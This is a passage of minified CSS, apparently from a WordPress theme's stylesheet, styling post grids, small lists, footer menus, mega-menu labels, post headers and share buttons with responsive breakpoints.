.penci-bgitem,.pcsl-verbd .pcsl-item{border-right:1px solid var(--pcborder-cl)}.pcbg-verbd .penci-dflex .penci-bgitem:last-child,.pcsl-verbd:not(.pcsl-crs) .pcsl-item:last-child{border-right:none!important}@media screen and (max-width:767px){.pcbg-verbd .penci-dflex .penci-bgitem,.pcsl-verbd .pcsl-item{border-right:none!important}}@media screen and (max-width:1169px){.pcsl-col-5 .pcsl-item,.pcsl-col-6 .pcsl-item,.penci-grid-col-5 .penci-dflex .penci-bgitem,.penci-grid-col-6 .penci-dflex .penci-bgitem{flex:0 0 33.33333%}.penci-grid-col-5 .penci-bgstyle-2 .item-masonry,.penci-grid-col-6 .penci-bgstyle-2 .item-masonry{width:33.33333%}}@media screen and (max-width:960px){.pcsl-col-4 .pcsl-item,.penci-grid-col-4 .penci-bgitem{flex:0 0 50%}.penci-grid-col-4 .penci-bgstyle-2 .item-masonry{width:50%}}@media screen and (max-width:1169px){.pcsl-tabcol-1 .pcsl-item,.penci-grid-tcol-1 .penci-dflex .penci-bgitem{flex:0 0 100%}.pcsl-tabcol-2 .pcsl-item,.penci-grid-tcol-2 .penci-dflex .penci-bgitem{flex:0 0 50%}.pcsl-tabcol-3 .pcsl-item,.penci-grid-tcol-3 .penci-dflex .penci-bgitem{flex:0 0 33.33333%}.pcsl-tabcol-4 .pcsl-item,.penci-grid-tcol-4 .penci-dflex .penci-bgitem{flex:0 0 25%}.penci-grid-tcol-1 .penci-bgstyle-2 .item-masonry{width:100%}.penci-grid-tcol-2 .penci-bgstyle-2 .item-masonry{width:50%}.penci-grid-tcol-3 .penci-bgstyle-2 .item-masonry{width:33.33333%}.penci-grid-tcol-4 .penci-bgstyle-2 .item-masonry{width:25%}}@media screen and (max-width:767px){.pcsl-col-2 .pcsl-item,.pcsl-col-3 .pcsl-item,.pcsl-col-4 .pcsl-item,.pcsl-col-5 .pcsl-item,.pcsl-col-6 .pcsl-item,.pcsl-mobcol-1 .pcsl-item,.penci-dflex .penci-bgitem,.penci-grid-col-2 .penci-dflex .penci-bgitem,.penci-grid-col-3 .penci-dflex .penci-bgitem,.penci-grid-col-4 .penci-dflex .penci-bgitem,.penci-grid-col-5 .penci-dflex .penci-bgitem,.penci-grid-col-6 .penci-dflex .penci-bgitem,.penci-grid-mcol-1 .penci-dflex .penci-bgitem{flex:0 0 100%}.pcsl-mobcol-2 .pcsl-item,.penci-grid-mcol-2 .penci-dflex .penci-bgitem{flex:0 0 50%}.pcsl-mobcol-3 .pcsl-item,.penci-grid-mcol-3 .penci-dflex .penci-bgitem{flex:0 0 33.33333%}.penci-grid-col-2 .penci-bgstyle-2 .item-masonry,.penci-grid-col-3 .penci-bgstyle-2 .item-masonry,.penci-grid-col-4 .penci-bgstyle-2 .item-masonry,.penci-grid-col-5 .penci-bgstyle-2 .item-masonry,.penci-grid-col-6 .penci-bgstyle-2 .item-masonry,.penci-grid-mcol-1 .penci-bgstyle-2 .item-masonry{width:100%}.penci-grid-mcol-2 .penci-bgstyle-2 .item-masonry{width:50%}.penci-grid-mcol-3 .penci-bgstyle-2 .item-masonry{width:33.33333%}}.pcfooter-navmenu{--pcfnmn-space:30px;--pcfnmn-spea-height:12px;--pcfnmn-cirspea-h:4px}.pcfooter-navmenu{display:block;clear:both}.pcfooter-navmenu .pcfoot-navmenu{padding:0;list-style:none;margin:0;vertical-align:top;line-height:1.6}.pcfoot-navmenu:after,.pcfoot-navmenu:before{content:"";display:table;clear:both}.pcfooter-navmenu .pcfoot-navmenu .sub-menu,.pcfooter-navmenu .pcfoot-navmenu>li ul{display:none!important}.pcfooter-navmenu .pcfoot-navmenu>li{display:inline-block;vertical-align:top;margin-right:var(--pcfnmn-space);margin-bottom:0;line-height:unset;position:relative}.pcfooter-navmenu .pcfoot-navmenu>li:last-child{margin-right:0}.pcfooter-navmenu .pcfoot-navmenu li a{color:var(--pctext-cl);text-decoration:none;transition:all .3s;display:block;line-height:1.5}.pcfooter-navmenu.pcfnm-bgitems .pcfoot-navmenu li a{background:#e5e5e5;padding:5px 15px;line-height:1.3}.pcfooter-navmenu.pcfnm-bditems .pcfoot-navmenu li a{padding:5px 15px;line-height:1.3;border:1px solid var(--pcborder-cl)}.pcfooter-navmenu .pcfoot-navmenu li a:hover,.pcfooter-navmenu .pcfoot-navmenu li.current-menu-item a{color:var(--pcaccent-cl)}.pcfooter-navmenu.pcfnm-bgitems .pcfoot-navmenu li a:hover{background:#ddd}.pcfooter-navmenu .pcfoot-navmenu>li:after{content:"";display:block;width:0;border:0 solid var(--pcborder-cl);border-left-width:1px;height:var(--pcfnmn-spea-height);position:absolute;right:calc(var(--pcfnmn-space) * -1 / 2 - 2px);top:50%;margin-top:calc(var(--pcfnmn-spea-height) * -1 / 2)}.pcfnm-sepa-slash .pcfoot-navmenu>li:after{transform:skewX(-20deg);-webkit-transform:skewX(-20deg);right:calc(var(--pcfnmn-space) * -1 / 2 - 3px)}.pcfnm-sepa-dslash .pcfoot-navmenu>li:after{transform:skewX(-20deg);-webkit-transform:skewX(-20deg);border-right-width:1px;width:4px;right:calc(var(--pcfnmn-space) * -1 / 2 - 5px)}.pcfnm-sepa-circle .pcfoot-navmenu>li:after{width:var(--pcfnmn-cirspea-h);height:var(--pcfnmn-cirspea-h);border:none;border-radius:50%;background:var(--pcborder-cl);transform:none;margin-top:calc(var(--pcfnmn-cirspea-h) * -1 / 2);right:calc(var(--pcfnmn-space) * -1 / 2 - var(--pcfnmn-cirspea-h)/ 2 - 2px)}.pcfooter-navmenu.pcfnm-sepa-none .pcfoot-navmenu>li:after,body.rtl .pcfooter-navmenu .pcfoot-navmenu>li:first-child:after,body:not(.rtl) .pcfooter-navmenu .pcfoot-navmenu>li:last-child:after{content:none;display:none}.penci-smalllist{display:block;width:100%;clear:both;--pcsl-hgap:20px;--pcsl-bgap:20px;--pcsl-between:20px;--pcsl-dwidth:15%;overflow:hidden}.pcsl-inner,.swiper.pcsl-inner{margin-left:calc(var(--pcsl-hgap) * -1 / 2);margin-right:calc(var(--pcsl-hgap) * -1 / 2);width:calc(100% + var(--pcsl-hgap));display:flex;display:-webkit-flex;display:-ms-flexbox;-webkit-flex-flow:row wrap;-ms-flex-flow:row wrap;flex-flow:row wrap;align-items:flex-start}.pcsl-inner .pcsl-item{padding:0 calc(var(--pcsl-hgap)/ 2);width:100%;margin-bottom:var(--pcsl-bgap)}.pcsl-inner .pcsl-iteminer{display:flex;display:-webkit-flex;display:-ms-flexbox;-webkit-flex-flow:row wrap;-ms-flex-flow:row wrap;flex-flow:row wrap;align-items:flex-start}.pcsl-inner.pcsl-imgpos-top .pcsl-iteminer{flex-direction:column}.sl-date{color:var(--pcmeta-cl)}.pcsl-crs.pcsl-inner .pcsl-item{margin-bottom:0!important}.pcsl-inner .pcsl-thumb{width:32%;order:2;transition:opacity .3s;position:relative}.pcsl-inner .pcsl-thumb:hover{opacity:.85}.pcsl-inner .pcsl-content{width:68%;padding:0 var(--pcsl-between);order:3}.pcsl-inner.pcsl-hdate .pcsl-date{width:var(--pcsl-dwidth);order:1;padding:0 var(--pcsl-between)}.pcsl-inner.pcsl-hdate .pcsl-date.pcsl-dpos-left{padding-left:0;order:0}.pcsl-inner.pcsl-hdate .pcsl-date.pcsl-dpos-right{padding-right:0;order:5}.pcsl-inner.pcsl-hdate .pcsl-thumb{width:20%}.pcsl-inner.pcsl-hdate .pcsl-content{width:65%;width:calc(80% - var(--pcsl-dwidth))}.pcsl-inner .pcsl-content ins{text-decoration:none}.pcsl-inner.pcsl-imgpos-top .pcsl-thumb{margin-bottom:var(--pcsl-between);width:100%}.pcsl-imgpos-left .pcsl-content{padding-right:0}.pcsl-imgpos-right .pcsl-content{padding-left:0;order:1}.pcsl-imgpos-top .pcsl-content,.pcsl-inner .pcsl-nothumb .pcsl-content{padding-left:0!important;padding-right:0!important;width:100%!important}.pcsl-inner .pcsl-content .pcsl-title{font-size:16px;color:var(--pcheading-cl);font-family:var(--pchead-font);font-weight:var(--pchead-wei);line-height:1.4;display:block}.pcsl-inner .pcsl-content .pcsl-title a{font-size:inherit;color:inherit;font-family:inherit;font-weight:inherit;text-decoration:none}.pcsl-inner .pcsl-content .pcsl-title a:hover{color:var(--pcaccent-cl)}.pcsl-inner .pcsl-content .cat{line-height:1.3;margin-bottom:4px}.pcsl-inner .pcsl-content .cat .penci-product-cats,.pcsl-inner .pcsl-content .cat .penci-product-cats a{text-decoration:none;color:var(--pcaccent-cl)}.pcsl-inner .grid-post-box-meta,.post-entry .pcsl-inner .grid-post-box-meta{margin-top:8px;line-height:1.3;font-size:14px}.pcsl-nocrop .penci-image-holder:before{padding-top:0;content:none}.pcsl-flex-full{width:100%;order:10}.pcsl-pexcerpt{margin-top:15px}.pcsl-inner .pcsl-pexcerpt p{line-height:1.5}.pcsl-inner .pcsl-pexcerpt p:last-child{margin-bottom:0}.pcsl-readmore{margin-top:15px;display:block}.pcsl-readmore .pcsl-readmorebtn.pcsl-btns-bordered{border:1px solid var(--pcborder-cl);background:0 0}.pcsl-readmore .pcsl-readmorebtn.pcsl-btns-underline{border:0 solid var(--pcborder-cl);border-bottom-width:2px;background:0 0!important;padding:0 0 3px 0!important}.pcsl-readmore .pcsl-readmorebtn.pcsl-btns-text{padding:0!important;border:none!important;background:0 0!important}@media screen and (min-width:1025px){.pcsl-grid.pcsl-col-2 .pcsl-item:nth-last-child(2),.pcsl-grid.pcsl-col-3 .pcsl-item:nth-last-child(2),.pcsl-grid.pcsl-col-3 .pcsl-item:nth-last-child(3),.pcsl-grid.pcsl-col-4 .pcsl-item:nth-last-child(2),.pcsl-grid.pcsl-col-4 .pcsl-item:nth-last-child(3),.pcsl-grid.pcsl-col-4 .pcsl-item:nth-last-child(4),.pcsl-grid.pcsl-col-5 .pcsl-item:nth-last-child(2),.pcsl-grid.pcsl-col-5 .pcsl-item:nth-last-child(3),.pcsl-grid.pcsl-col-5 .pcsl-item:nth-last-child(4),.pcsl-grid.pcsl-col-5 .pcsl-item:nth-last-child(5),.pcsl-grid.pcsl-col-6 .pcsl-item:nth-last-child(2),.pcsl-grid.pcsl-col-6 .pcsl-item:nth-last-child(3),.pcsl-grid.pcsl-col-6 .pcsl-item:nth-last-child(4),.pcsl-grid.pcsl-col-6 .pcsl-item:nth-last-child(5),.pcsl-grid.pcsl-col-6 .pcsl-item:nth-last-child(6){margin-bottom:0!important}}@media screen and (max-width:1024px) and (min-width:768px){.pcsl-grid.pcsl-tabcol-2 .pcsl-item:nth-last-child(2),.pcsl-grid.pcsl-tabcol-3 .pcsl-item:nth-last-child(2),.pcsl-grid.pcsl-tabcol-3 .pcsl-item:nth-last-child(3),.pcsl-grid.pcsl-tabcol-4 .pcsl-item:nth-last-child(2),.pcsl-grid.pcsl-tabcol-4 .pcsl-item:nth-last-child(3),.pcsl-grid.pcsl-tabcol-4 .pcsl-item:nth-last-child(4){margin-bottom:0!important}}@media screen and (max-width:767px){.pcsl-grid.pcsl-mobcol-2 .pcsl-item:nth-last-child(2),.pcsl-grid.pcsl-mobcol-3 .pcsl-item:nth-last-child(2),.pcsl-grid.pcsl-mobcol-3 .pcsl-item:nth-last-child(3){margin-bottom:0!important}.pcsl-inner.pcsl-cat-mhide .pcsl-content .cat,.pcsl-inner.pcsl-excerpt-mhide .pcsl-pexcerpt,.pcsl-inner.pcsl-meta-mhide .pcsl-meta,.pcsl-inner.pcsl-rm-mhide .pcsl-readmore{display:none}.pcsl-inner.pcsl-imgtopmobile .pcsl-thumb{margin-bottom:var(--pcsl-between);width:100%;order:1}.pcsl-inner.pcsl-hdate .pcsl-content,.pcsl-inner.pcsl-hdate .pcsl-date,.pcsl-inner.pcsl-hdate .pcsl-thumb,.pcsl-inner.pcsl-imgtopmobile .pcsl-content{padding-left:0!important;padding-right:0!important;width:100%!important}.pcsl-inner.pcsl-hdate .pcsl-thumb{order:1!important;margin-bottom:15px}.pcsl-inner.pcsl-hdate .pcsl-date{order:2!important;margin-bottom:8px}.pcsl-inner.pcsl-hdate .pcsl-content{order:3!important}}.pcsl-grid .pcsl-item:last-child,.pcsl-nlist .pcsl-item:last-child{margin-bottom:0!important}.penci-homepage-title{position:relative;margin-bottom:30px;text-align:center;clear:both;background:0 0;margin-top:5px}.penci-border-arrow{position:relative;line-height:1.3;margin-left:5px;margin-right:5px;margin-top:5px}.post-entry .penci-border-arrow a,.post-entry .penci-border-arrow a:hover{text-decoration:none}.penci-border-arrow .inner-arrow{border:1px solid #313131;background:#fff;position:relative;display:block;text-transform:uppercase;padding:8px 12px 7px;z-index:3;font-size:14px}.penci-border-arrow .inner-arrow a{text-decoration:none!important;font-size:inherit;font-weight:inherit;color:inherit!important}.penci-border-arrow .inner-arrow .pcbh-extrabtn{font-size:70%;display:inline-block}.penci-border-arrow .inner-arrow .pcbh-btns-underline{position:relative;padding-bottom:3px;line-height:1;transform:translateY(-2px);transition:all .3s}.penci-border-arrow .inner-arrow .pcbh-btns-underline:after{content:"";width:100%;height:1px;position:absolute;bottom:0;left:0;background:red;transition:all .3s}@media only screen and (max-width:479px){.penci-border-arrow .inner-arrow .pcbh-extrabtn.pcbtn-etrhm{display:none}}.penci-border-arrow .inner-arrow .pcbh-extrabtn.pcbh-btnp-left{margin-right:10px}.penci-border-arrow .inner-arrow .pcbh-extrabtn.pcbh-btnp-right{margin-left:10px}.penci-border-arrow .inner-arrow .pcbh-extrabtn.pcbh-btni-right i{margin-left:5px;margin-right:0}.penci-border-arrow .inner-arrow .pcbh-extrabtn.pcbh-btni-left i{margin-right:5px;margin-left:0}.penci-homepage-title{--extrabtn:0}.penci-border-arrow.block-tbtnpos-left .inner-arrow .pcbh-extrabtn,.penci-border-arrow.block-tbtnpos-right .inner-arrow .pcbh-extrabtn{position:absolute;right:0;top:50%;transform:translateY(-50%);margin-left:0;margin-right:0}.penci-border-arrow.block-tbtnpos-left .inner-arrow .pcbh-extrabtn{left:0;right:auto}.pcalign-right.block-tbtnpos-left .pcnav-lgroup{left:calc(var(--extrabtn) + 15px)}.block-tbtnpos-right .pcnav-lgroup,.pcalign-right.block-tbtnpos-right .pcnav-lgroup{right:calc(var(--extrabtn) + 15px)}.penci-border-arrow:after,.penci-border-arrow:before{content:"";position:absolute}.penci-border-arrow:before{width:0;height:0;border-style:solid;border-color:transparent;bottom:-5px;left:50%;border-top-color:#313131;border-width:6px;border-bottom:0;margin-left:-6px;z-index:5}.penci-border-arrow:after{border:1px solid #313131;left:-5px;right:-5px;bottom:3px;display:block;z-index:1;height:100%}.penci-homepage-title h3{font-size:14px;color:#313131;text-transform:uppercase;position:relative;z-index:1}.penci-simplelist,.penci-simplelist li,.post-entry ul.penci-simplelist{margin:0;padding:0;list-style:none}.penci-simplelist li,.post-entry ul.penci-simplelist li{display:flex;align-items:center;flex-direction:row;flex-wrap:wrap;width:100%;margin-bottom:10px;line-height:1.4}.penci-simplelist>li:last-child,.post-entry ul.penci-simplelist>li:last-child{margin-bottom:0!important}.penci-simplelist li .list-icon{display:inline-block;margin-right:5px;transition:all .3s;order:0}.penci-simplelist li .list-icon svg{width:15px;height:auto;vertical-align:middle}.penci-iconp-right li .list-icon{order:2;margin-right:0;margin-left:5px}.penci-simplelist.penci-justify-center li{justify-content:center}.penci-simplelist.penci-justify-right li{justify-content:flex-end}.penci-simplelist li a{color:inherit;font-family:inherit;font-size:inherit}.penci-simplelist li a:hover{text-transform:none}.penci-simplelist-shape-icon li .list-icon{line-height:25px;display:inline-flex;align-items:center;justify-content:center;min-width:25px;min-height:25px;text-align:center;padding:4px}.list-icon img{width:auto;max-height:50px}.penci-simplelist-style-rounded .list-icon{border-radius:50%}.penci-simplelist.penci-simplelist-type-ordered{counter-reset:section}.penci-simplelist.penci-simplelist-type-ordered li:before{content:counter(section) ". ";counter-increment:section;background-color:transparent}.penci-simplelist.penci-simplelist-type-unordered li:before{display:inline-block;content:"\25B8";background-color:transparent;line-height:1;margin-right:5px;transition:color .3s}.penci-simplelist.penci-iconp-right.penci-simplelist-type-unordered li:before{order:3;margin-left:5px;margin-right:0}.mega-menu-list,.mega-menu-list ul,.post-entry ul.mega-menu-list,.post-entry ul.mega-menu-list ul{margin:0;padding:0;list-style:none}.mega-menu-list{--pcmega-colspace:20px}.mega-menu-list ul,.post-entry ul.mega-menu-list ul{margin-top:15px}.post-entry ul.mega-menu-list a:hover,ul.mega-menu-list a{text-decoration:none}.post-entry ul.mega-menu-list a:hover,ul.mega-menu-list a:hover{color:var(--pcaccent-cl)}.post-entry ul.mega-menu-list li,ul.mega-menu-list li{position:relative;margin:0;padding:0;list-style:none;line-height:1;margin-bottom:15px}.post-entry ul.mega-menu-list li:last-child,ul.mega-menu-list li:last-child{margin-bottom:0!important}.mega-menu-list>li>a{font-family:var(--pchead-font);font-weight:700;text-transform:uppercase;position:relative}.mega-menu-list>li.heading-style-style-2>a{border-bottom:3px solid var(--pctext-cl);padding:0 0 8px;display:block}.mega-menu-list>li.heading-style-style-2>a:after{content:"";position:absolute;width:40px;height:3px;background-color:var(--pcaccent-cl);left:0;bottom:-3px}.mega-menu-list>li.heading-style-style-3{overflow:hidden}.mega-menu-list>li.heading-style-style-3>a{padding-right:12px}.mega-menu-list>li.heading-style-style-3>a:after{position:absolute;content:"";width:2000px;height:0;top:50%;left:100%;border-bottom:1px solid var(--pcborder-cl);z-index:1}.mega-menu-list li a{position:relative;display:inline-block;padding:0;margin:0;text-decoration:none;color:var(--pctext-cl);line-height:unset}.mega-menu-list li a img{display:inline-block;width:auto;max-height:20px}.mega-menu-list .menu-label{font-size:9px;font-weight:600;line-height:12px;position:absolute;z-index:1;top:calc(50% - 24px);left:100%;display:inline-block;margin-left:-20px;padding:3px 4px;vertical-align:middle;white-space:nowrap;letter-spacing:.3px;text-transform:uppercase;color:#fff;line-height:1;background-color:var(--pcaccent-cl)}.mega-menu-list .menu-label.label-style-1:before,.mega-menu-list .menu-label.label-style-2:before{position:absolute;top:100%;left:10px;content:"";border:4px solid;border-color:var(--pcaccent-cl);border-right-width:7px;border-right-color:transparent!important;border-bottom-color:transparent!important;border-left-width:0}.mega-menu-list .menu-label.label-style-2:before{left:0;border-right-width:5px}.mega-menu-list .menu-label.label-style-3{top:calc(50% - 8px);left:100%;margin-left:5px;border-color:var(--pcaccent-cl)}.mega-menu-list .menu-label.label-style-3:before{position:absolute;top:calc(50% - 4px);left:-4px;content:"";border-width:4px 4px 4px 0;border-style:solid;border-color:var(--pcaccent-cl);border-top-color:transparent!important;border-bottom-color:transparent!important;border-left-color:transparent!important}.mega-menu-list .menu-label.label-style-4:before{position:absolute;right:50%;bottom:-4px;left:50%;margin-left:-3px;content:"";border-width:4px 3px 0 3px;border-style:solid;border-color:var(--pcaccent-cl);border-right-color:transparent!important;border-bottom-color:transparent!important;border-left-color:transparent!important}ul.pcmg-subcol-2>li{display:block;float:left;width:calc(50% - var(--pcmega-colspace)/ 2);margin-right:var(--pcmega-colspace)}ul.pcmg-subcol-3>li{display:block;float:left;width:calc(33.3333% - var(--pcmega-colspace)/ 3 * 2);margin-right:var(--pcmega-colspace)}ul.pcmg-subcol-2>li:nth-child(2n+2),ul.pcmg-subcol-3>li:nth-child(3n+3){margin-right:0}ul.pcmg-subcol-2>li:nth-child(2n+1),ul.pcmg-subcol-3>li:nth-child(3n+1){clear:both}ul.pcmg-subcol-2>li:nth-last-child(2),ul.pcmg-subcol-3>li:nth-last-child(2),ul.pcmg-subcol-3>li:nth-last-child(3){margin-bottom:0!important}.standard-post-special{position:relative;margin:0 0 26px 0}.standard-content-special{padding:0;text-align:center;background:#fff;display:block;box-shadow:0 0 10px 3px rgba(0,0,0,.2);-webkit-box-shadow:0 0 10px 3px rgba(0,0,0,.2);-moz-box-shadow:0 0 10px 3px rgba(0,0,0,.2)}.standard-post-special.no-thumbnail .standard-content-special{box-shadow:none;-webkit-box-shadow:none;-moz-box-shadow:none;border:1px solid #ececec}.format-post-box{display:block;padding:52px 30px 21px 30px;position:relative}.format-post-box.penci-format-link{padding-top:19px}.format-post-box .post-format-icon{position:absolute;width:100%;text-align:center;display:block;top:16px;margin-left:-30px}.format-post-box.penci-format-link .post-format-icon{display:none}.format-post-box .post-format-icon i{font-size:35px;padding:0 20px;display:inline-block;color:var(--pcaccent-cl)}.format-post-box .post-format-icon i.fa-quote-left:before{content:"\f101";font-family:penciicon;font-size:26px;font-weight:400}.format-post-box .dt-special,.format-post-box .dt-special a{color:#888;font-size:112.5%;font-style:italic}.format-post-box.penci-format-quote .dt-special{text-align:center;font-style:italic;font-size:18px}.format-post-box .dt-special a:hover{color:var(--pcaccent-cl)}.author-quote{margin:15px 0 5px;text-align:center;display:block;overflow:hidden}.author-quote span{display:inline-block;font-size:12px;padding:0 11px;position:relative;color:var(--pcaccent-cl);font-family:var(--pchead-font);font-weight:var(--pchead-wei);text-transform:uppercase}.author-quote span:after,.author-quote span:before{position:absolute;content:"";width:60px;height:1px;top:50%;left:100%;background:var(--pcaccent-cl)}.author-quote span:before{left:auto;right:100%}.standard-post-image{margin:0 0 26px 0;text-align:center;display:block;position:relative}.standard-content-special,.standard-post-image .audio-iframe{position:absolute;left:30px;right:30px;bottom:30px;display:block}.standard-post-image.no-thumbnail .audio-iframe,.standard-post-special.no-thumbnail .standard-content-special{position:static}.standard-post-image img{vertical-align:top;max-width:100%;height:auto}.header-standard{text-align:center;padding-bottom:17px;position:relative;margin:0 0 19px 0}.header-standard:after{content:"";position:absolute;width:60px;height:1px;background:var(--pcaccent-cl);display:block;bottom:0;left:50%;margin-left:-30px}.header-standard-wrapper{display:flex;flex-wrap:wrap;justify-content:center;align-items:center;column-gap:30px;margin-bottom:6px}.header-standard-wrapper>div{margin:0}.header-standard-wrapper>div .cat>a.penci-cat-name{margin-bottom:0;font-size:14px}.penci-standard-cat{overflow:hidden;display:block;margin-bottom:6px}.header-standard .cat{display:inline-block;position:relative}.header-standard .post-title,.header-standard h2,.header-standard h2 a,.pc_titlebig_standard,.pc_titlebig_standard a{color:#313131;font-size:24px;text-transform:uppercase}.container-single .header-standard h2.penci-psub-title,.container-single h2.penci-psub-title,.pcsb-subtt .penci-psub-title{letter-spacing:0;text-transform:none;font-size:18px;line-height:1.3;margin:8px 0;color:#777}.pcsb-subtt .penci-psub-title{margin:0}@media only screen and (min-width:768px){.penci-header-text-white .header-standard h2.penci-psub-title,.penci-single-style-10.penci-header-text-white .header-standard h2.penci-psub-title,.penci-single-style-13.penci-header-text-white .header-standard h2.penci-psub-title,.penci-single-style-20.penci-header-text-white .header-standard h2.penci-psub-title{color:#ccc}}@media only screen and (max-width:767px){.container-single .header-standard h2.penci-psub-title,.container-single h2.penci-psub-title{font-size:16px}}.header-standard h2 a:hover,.pc_titlebig_standard a:hover{color:#888}.header-standard .author-post>span{color:#888}.header-standard .author-post{margin:6px 0 0;font-size:14px}.header-standard .author-post span,.header-standard .author-post span a{font-size:inherit}.header-standard .author-post span a:not(.penci-cat-name){color:#313131;text-transform:capitalize}.header-standard .author-post span a:hover{color:var(--pcaccent-cl)}.header-standard .author-post span a.penci-cat-name{margin-bottom:0;line-height:inherit}.standard-content{position:relative}.standard-main-content{text-align:left}.penci-more-link{text-align:center;overflow:hidden;clear:both}.penci-more-link a.more-link{font-family:var(--pchead-font);color:var(--pcaccent-cl);text-transform:uppercase;font-size:12px;display:inline-block;margin-top:5px;font-weight:var(--pchead-wei);position:relative;transition:all .3s;-webkit-transition:all .3s;-moz-transition:all .3s}.standard-post-entry a.more-link:hover{text-decoration:none}.penci-more-link a.more-link:after,.penci-more-link a.more-link:before{position:absolute;content:"";width:60px;height:0;top:50%;left:100%;margin:0 10px;margin-top:-1px;border-top:1px solid var(--pcaccent-cl);transition:all .3s;-webkit-transition:all .3s;-moz-transition:all .3s}.penci-more-link a.more-link:before{left:auto;right:100%}.penci-more-link a.more-link:hover:before{right:50%;margin-right:-10px;width:90px}.penci-more-link a.more-link:hover:after{left:50%;margin-left:-10px;width:90px}.penci-more-link.penci-more-link-button{margin-top:17px}.penci-more-link.penci-more-link-button a.more-link:after,.penci-more-link.penci-more-link-button a.more-link:before{content:none;display:none}.penci-more-link.penci-more-link-button a.more-link{line-height:1;color:#fff;background:var(--pcaccent-cl);padding:14px 16px;margin-top:0}.penci-more-link.penci-more-link-button a.more-link:hover{opacity:.8}.penci-post-box-meta{padding:15px 0;clear:both;display:block;border-top:1px solid var(--pcborder-cl);border-bottom:1px solid var(--pcborder-cl);margin:30px 0 0}.penci-post-box-meta.center-inner{text-align:center}.penci-post-box-meta.center-inner .penci-post-share-box{float:none}.penci-post-box-meta .penci-box-meta{display:inline-block;font-size:14px}.penci-hide-tagupdated{display:none!important}.penci-post-box-meta .penci-box-meta a,.penci-post-box-meta .penci-box-meta span{color:#888}.grid-post-box-meta i,.penci-post-box-meta .penci-box-meta i{margin-right:5px}.penci-post-box-meta .penci-box-meta a:hover{color:var(--pcaccent-cl)}.penci-post-box-meta .penci-box-meta span:after{content:"";width:0;height:10px;margin:0 16px 0 20px;display:inline-block;background:0 0!important;border-right:1px solid;opacity:.7}.penci-post-box-meta .penci-box-meta span:last-child:after{content:none;display:none}.penci-post-box-meta .penci-post-share-box{display:inline-block;float:right}.penci-post-box-meta .penci-post-share-box a{display:inline-block;position:relative;color:#313131;margin-left:10px;font-size:14px}.penci-post-box-meta .penci-post-share-box a:first-child{margin-left:0}.penci-post-share-box a.liked,.penci-post-share-box a:hover{color:var(--pcaccent-cl)}.penci-post-share-box .dt-share{position:absolute;display:inline-block;font-size:9px;font-family:var(--pchead-font);font-weight:400;background:#313131;color:#fff;height:20px;line-height:20px;white-space:nowrap;text-align:center;bottom:-45px;width:60px;left:50%;margin-left:-30px;opacity:0;visibility:hidden;transition:all .2s ease-in-out;-webkit-transition:all .2s ease-in-out;-moz-transition:all .2s ease-in-out;z-index:5}.penci-post-share-box a:hover .dt-share{opacity:1;bottom:-30px;visibility:visible}.penci-post-share-box .dt-share:before{position:absolute;width:0;height:0;border-left:5px solid transparent;border-right:5px solid transparent;border-bottom:7px solid #313131;content:"";top:-7px;left:50%;margin-left:-4px}.penci-post-like.liked i:before{content:"\f004"}.penci-fawesome-ver5 .penci-post-like.liked i:before{font-weight:900}.list-posts-share .penci-svg-line,.penci-post-share-box .penci-svg-line{vertical-align:top;transform:translateY(2px);-webkit-transform:translateY(2px)}.list-posts-share .penci-svg-viber,.penci-post-share-box .penci-svg-viber{vertical-align:top;transform:translateY(4px);-webkit-transform:translateY(4px)}.penci-svg-discord,.penci-svg-goodreads,.penci-svg-line,.penci-svg-messenger,.penci-svg-tiktok,.penci-svg-viber{width:14px;vertical-align:middle}.post-share-item.show-on-mobile{display:none}@media only screen and (max-width:960px){.post-share-item.show-on-desktop{display:none}}.header-standard.header-classic{margin:0 0 26px 0;padding:0}.header-standard.header-classic:after{content:none;display:none}.header-standard.header-classic.penci-title-bellow{margin-bottom:40px}ul.penci-grid{display:flex;flex-wrap:wrap;row-gap:0;--pcrgap:30px;column-gap:var(--pcrgap);padding:0!important;margin:0}@media only screen and (min-width:768px){ul.penci-grid[data-layout=boxed-2]{row-gap:var(--pcrgap)}}.penci-grid>li{width:calc((100% - var(--pcrgap) * 2)/ 3);margin-bottom:51px;list-style:none!important}.sd-content ul li{clear:none!important;width:auto!important}.penci-grid>li.grid-style{text-align:center}.container.penci_sidebar .penci-grid>li,.penci-grid>li.grid-2-style{width:calc((100% - var(--pcrgap))/ 2)}.penci-lposts-ctcol.pencisc-grid-1 .penci-grid>li,.penci-lposts-ctcol.pencisc-grid-2 .penci-grid>li,.penci-lposts-ctcol.pencisc-grid-3 .penci-grid>li,.penci-lposts-ctcol.pencisc-grid-4 .penci-grid>li,.penci-lposts-ctcol.pencisc-grid-5 .penci-grid>li,.penci-lposts-ctcol.pencisc-grid-6 .penci-grid>li{width:100%;margin-bottom:0;margin-right:0}.penci-grid li .item>.thumbnail,.penci-masonry .item-masonry>.thumbnail{display:inline-block;position:relative;transition:opacity .3s;-webkit-transition:opacity .3s;-moz-transition:opacity .3s;margin-bottom:28px;width:100%}.grid-mixed .thumbnail .icon-post-format,.pcsl-thumb .icon-post-format,.penci-grid li .item .thumbnail .icon-post-format,.penci-masonry .item-masonry>.thumbnail .icon-post-format{position:absolute;z-index:2;text-align:center;display:inline-block;width:42px;height:42px;line-height:38px;top:50%;left:50%;margin:-21px 0 0 -21px;font-size:16px;opacity:1;color:rgba(255,255,255,.9);background:#fff;border-radius:50%;-webkit-border-radius:50%;-moz-border-radius:50%;transition:all .3s;-webkit-transition:all .3s;-moz-transition:all .3s;background:rgba(0,0,0,.4);border:2px solid rgba(255,255,255,.9)}.pcsl-thumb .icon-post-format{width:34px;height:34px;line-height:30px;margin:-17px 0 0 -17px;font-size:14px}.pcsl-thumb .icon-post-format i.fa-play,.penci-grid li .item .thumbnail .icon-post-format i.fa-play,.penci-masonry .item-masonry>.thumbnail .icon-post-format i.fa-play{margin-left:3px}.grid-mixed .thumbnail:hover .icon-post-format,.pcsl-thumb:hover .icon-post-format,.penci-grid li .item>.thumbnail:hover .icon-post-format,.penci-masonry .item-masonry>.thumbnail:hover .icon-post-format{opacity:0;transform:scale(.5);-webkit-transform:scale(.5);-moz-transform:scale(.5)}.grid-mixed .thumbnail:hover,.penci-grid li .item>.thumbnail:hover,.penci-masonry .item-masonry>.thumbnail:hover{opacity:.85}.penci-grid li .item img,.penci-masonry .item-masonry a img{width:100%;height:auto;vertical-align:top;margin:0}.penci-grid li .item .cat,.penci-masonry .item-masonry .cat{color:var(--pcaccent-cl);display:block;margin-bottom:8px}.penci-grid li .item .grid-post-box-meta .cat,.penci-masonry .item-masonry .grid-post-box-meta .cat{display:inline-block;margin-bottom:0}.penci-grid li .item 